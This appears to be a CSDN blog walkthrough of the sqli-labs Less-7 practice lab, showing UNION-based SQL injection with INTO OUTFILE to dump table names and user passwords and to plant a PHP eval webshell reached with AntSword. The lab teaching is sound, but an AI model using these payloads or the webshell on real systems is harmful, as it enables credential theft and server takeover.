[网络安全]sqli-labs Less-7 解题详析

本文详细介绍了INTOOUTFILE命令在MySQL中的用法,以及如何通过它来识别SQL注入点,判断注入类型。文章展示了如何利用这种注入技术查询数据库信息,包括库名、表名、列名,并能通过创建一句话木马进行远程控制。此外,还讨论了在无法直接访问导出文件时,如何使用蚁剑进行远程连接。
摘要由CSDN通过智能技术生成

into outfile

开始做题前,先了解一下什么是into outflie命令

INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。

以下是 INTO OUTFILE 命令的基本语法:

SELECT column1, column2, ...
INTO OUTFILE 'filename'
FROM table_name
WHERE condition;
  • column1, column2, ...:要选择的列。
  • 'filename':指定要输出的文件路径和名称。注意,MySQL 服务器必须有写入该文件的权限,并且必须是绝对路径。
  • table_name:要查询的数据库表名。
  • WHERE condition:可选,用于筛选查询结果的条件。

例如,假设我们有一个名为 customers 的数据库表,其中包含 nameemail 列。如果要将符合特定条件的数据输出到文件中,可以使用以下查询:

SELECT name, email
INTO OUTFILE '/qiu.txt'
FROM customers
WHERE age > 30;

这将把年龄大于 30 的客户的姓名和电子邮件输出到 /qiu.txt 文件中。

判断注入类型

在这里插入图片描述
单引号回显error

尝试双引号:

在这里插入图片描述

但输入?id=1" and 1=2 --+时仍正常回显:

在这里插入图片描述

说明不是单纯的单引号/双引号注入

常用的闭合符号

SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
 
闭合代码:
1' #
1" #
1') #
") #
')) #

?id=1')) and 1=1 --+ 回显正常

在这里插入图片描述
?id=1')) and 1=2 --+ 回显错误

在这里插入图片描述

可判断注入语句为$sql="SELECT * FROM users WHERE id=(('$id'))";


判断注入点个数

GET1')) order by 3 --+,回显如下:

在这里插入图片描述

GET1')) order by 4 --+,回显如下:

在这里插入图片描述

故注入点为3个


查库名

联合查询(注入点为3)+into outfile

我们写入文件时,应选择数据库中有写入权限的目录

模板:?id=1')) union select (sql语句) into outfile '路径' --+

于是构造:?id=1')) union select 1,2,database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+

执行该语句后访问D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\目录,打开1.txt文件,得到导出的数据库名

注意:payload中目录的分隔符可以是\、//、/ 但不能是 \

在这里插入图片描述


查表名

Payload:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\2.txt' --+

步骤同上:

在这里插入图片描述


查users表的列名

Payload:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt' --+

步骤同上:

在这里插入图片描述


查字段

Payload:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt' --+

获取账号及密码,步骤同上:

在这里插入图片描述


如果我们并不能直接从本机的目录上访问这些txt文件,该怎么办?

既然我们可以上传文件,同样地,也可以一句话连接蚁剑

模板:?id=1')) union select 1,2,'一句话木马' into outfile '路径\\a.php' --+(三个注入点)

Payload:?id=1')) union select 1,2,'<?php eval($_POST[qiushuo]);?>' into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+

在这里插入图片描述
然后删除非必要的代码

在这里插入图片描述
连接蚁剑:

在这里插入图片描述
访问txt文件:

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值